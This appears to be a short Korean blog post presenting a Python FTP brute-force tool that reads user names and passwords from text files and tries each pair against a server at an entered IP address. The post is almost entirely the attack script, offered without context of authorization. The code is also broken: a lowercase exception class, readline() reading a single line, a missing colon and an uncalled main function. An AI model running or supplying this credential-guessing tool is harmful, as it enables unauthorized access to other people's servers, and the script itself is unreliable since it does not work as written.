본문 바로가기

파이썬 코드

파이썬 무작위 대입공격 도구

import ftplib

def bruteforce(ip, user, password):

        ftp = ftplib.FTP(ip)

       

        try :

               print(" 사용자 아이디 {}, 패스워드 {} " .format(user, password))

               res = ftp.login(user, password)

               print(res)

 

        except exception as ex:

               print("연결오류", ex)

   

def main():

       ip = input("IP정보를 입력하세요. ")

       with open ("users.txt" ,"r") as users:

                users = users.readline()

       with open ("password.txt","r") as passwords:

                passwords = passwords.readline()

 

       for user in users:

                for password in passwords

                        bruteforce(ip, user.rstrip(), password.rstrip())

 

 

users.txt에 있는 유저 정보와 password.txt에 있는 암호 정보를 FTP 서버에 대입하는 코드

'파이썬 코드' 카테고리의 다른 글

텍스트 파일에서 주니퍼 장비 정보 파싱하기  (0) 2023.02.22
Network automation -2-  (0) 2023.02.14
Network automation  (0) 2023.02.14
파이썬을 이용한 NMAP 사용  (0) 2023.02.12
모의해킹  (0) 2021.03.17